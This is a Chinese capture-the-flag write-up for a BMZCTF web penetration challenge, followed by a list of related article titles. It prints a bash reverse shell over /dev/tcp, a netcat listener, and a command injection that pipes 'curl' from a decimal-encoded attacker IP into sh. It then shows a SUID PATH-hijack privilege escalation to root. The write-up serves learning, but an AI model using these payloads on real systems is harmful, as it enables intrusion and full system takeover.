打开网页:

发现过滤了很多字母和字符:

b,d,e,-,q,f,g,i,p,j,+,k,m,n,<,>,o,w,x,~,:,^,@,&,,%,",*,(,),!,=,.,[,],},{,_);

致使我们好多命令都无法操作。最后观察至curl没有被过滤。
我们就可以设置好VPS,使用VPS反弹shell

设置VPS的首页为:

bash -c "bash -i >& /dev/tcp/IP地址/5555 0>&1"

在VPS上打开web服务,如果没有apache或其他中间件,可以使用python:
python2:

python -m SimpleHTTPServer 80

python3:

python -m http.server 80

然后在vps上再打开一个终端,监听5555端口:

nc -lvnp 5555

假设我们的VPS的IP地址为123.123.123.123,因为页面过滤了.,我们无法直接输入IP地址,而且长度也会超过18个。
因此,我们要将IP地址进行转换:
百度搜索下IP 十进制随便点开一个就可以:

我们就能看到十进制的IP地址为:2071690107
我们在页面输入:?ip=curl 2071690107|sh

就能在我们的VPS上看到反弹的shell了

查看id

发现是个低权限用户:www-data
搜索flag

find / -name flag

没有找到。home目录下也没有用户名:

那么flag只能存在于/root目录下,因为我们没权限,所以无法搜索到。
我们要提权到root
先找下suid:

find / -user root -perm -4000 -print 2>/dev/null


发现了一个奇怪的程序:love
运行下:

返回了结果。不用任何输入。
我们将其下载,并用ida进行逆向:

发现love是运行了ps程序,特点有两个:
1、会将uid设为0,也就是root
2、ps命令没有指定是哪个目录下的。
那么我们就可以伪造ps命令来提权。
我们在/tmp目录下伪造ps命令。因为/tmp目录有可写权限(其他可写目录也可以)

cd /tmp       # 进入/tmp目录
echo "/bin/bash" >ps    #将payload写入ps文件
chmod 777 ps            #设置可读可写可执行权限
$PATH                   #查看环境变量
export PATH=/tmp:$PATH   #将/tmp加入环境变量,并放在第一个位置

然后我们运行love,发现是root权限了

现在我们就能读取flag

cat /root/flag

BMZCTF WEB WEB_penetration相关推荐

  1. 第二届BMZCTF网络安全公开赛

    第二届BMZCTF网络安全公开赛 今天事情比较多,所以基本没做,上线了一会就,没做几道题 文章目录 第二届BMZCTF网络安全公开赛 Crypto DO_YOU_KNOW_IT 签到题 SIMPLE ...

  2. 第一届BMZCTF公开赛-MISC-Writeup

    文章目录 签到题 你猜猜flag Snake Tiga Hack K 前言 首先恭喜白帽子社区团队成功举办第一届BMZCTF公开赛,我是本次比赛MISC赛题Snake.Tiga的出题人末初 以下是我写 ...

  3. 在k8s中使用gradle构建java web项目镜像Dockerfile

    在k8s中使用gradle构建java web项目镜像Dockerfile FROM gradle:6-jdk8 AS build COPY --chown=gradle:gradle . /home ...

  4. 手动将web项目的class文件打成jar包,手动打jar包,java -cvf,IDE打包底层指令

    手动将web项目的class文件打成jar包. 我们的项目在使用IDE进行编译后,在项目的target目录下将会生成class文件.我们可以将class文件打成jar包. 使用的到命令为: 在targ ...

  5. 将Eclipse中Web项目打成war包

    将Eclipse中Web项目打成war包 请按如下操作即可:

  6. Docker安装Apache与运行简单的web服务——httpd helloworld

    Docker运行简单的web服务--httpd helloworld目录[阅读时间:约5分钟] 一.Docker简介 二.Docker的安装与配置[CentOS环境] 三.Docker运行简单的web ...

  7. 【Golang源码分析】Go Web常用程序包gorilla/mux的使用与源码简析

    目录[阅读时间:约10分钟] 一.概述 二.对比: gorilla/mux与net/http DefaultServeMux 三.简单使用 四.源码简析 1.NewRouter函数 2.HandleF ...

  8. 基于Golang的简单web服务程序开发——CloudGo

    基于Golang的简单web服务程序开发--CloudGo[阅读时间:约10分钟] 一.概述 二.系统环境&项目介绍 1.系统环境 2.项目的任务要求 (1)基本要求 (2)扩展要求 三.具体 ...

  9. CentOS Docker安装配置部署Golang web helloworld

    目录[阅读时间:约5分钟] 一.Docker简介 二.Docker的安装与配置[CentOS环境] 三.Docker部署Golang web helloworld 四.Docker与虚拟机的区别 五. ...

最新文章

  1. 2015#183;Fool#39;s Day#183;NND
  2. java json格式的转换和读取
  3. Windows程序设计之创建窗口示例
  4. linux之文本比较工具
  5. winPcap_2_编译环境*注意*
  6. 上学路线 (Standard IO)
  7. Oracle分析函数用法
  8. 温湿度传感器的工作原理及应用领域你了解多少呢
  9. WebRTC的拥塞控制和带宽策略
  10. 《那封08年收到的情书》
  11. BUUCTF 九连环
  12. Windows server 2019 网卡互联网检测服务
  13. 常见的爬虫error以及解决方法
  14. Git版本控制管理——Git和GitHub
  15. ISIS如何选举DIS的,DIS的具体作用,和OSPF的DR有什么相同和不同点。举例说明
  16. Beginning Auto Layout Tutorial in iOS 7: Part 2
  17. 中富金石马力老师:2022年中央一号文件发布 时隔多年重提加强粮库建设
  18. 学习代码要先学会“学习”
  19. Postgresql在线分区插件之pg_rewrite使用
  20. 音视频开发之旅(51)-M3U8边缓存边播放

热门文章

  1. Deep Face Recognition读书笔记
  2. 10.1 单片机数字秒表程序
  3. Python之安装MySQLdb
  4. 决定一生的99个简单法则
  5. springboot mybatis 分页
  6. Codeforces Round #715 (Div. 2) A. Average Height
  7. 基于惠斯顿电桥的压力传感器的解决方案
  8. 配置阿里云镜像源失败
  9. 小学计算机输入法主题教研设计,《拼音输入法》教学设计.doc
  10. Android虚拟打电话程序实现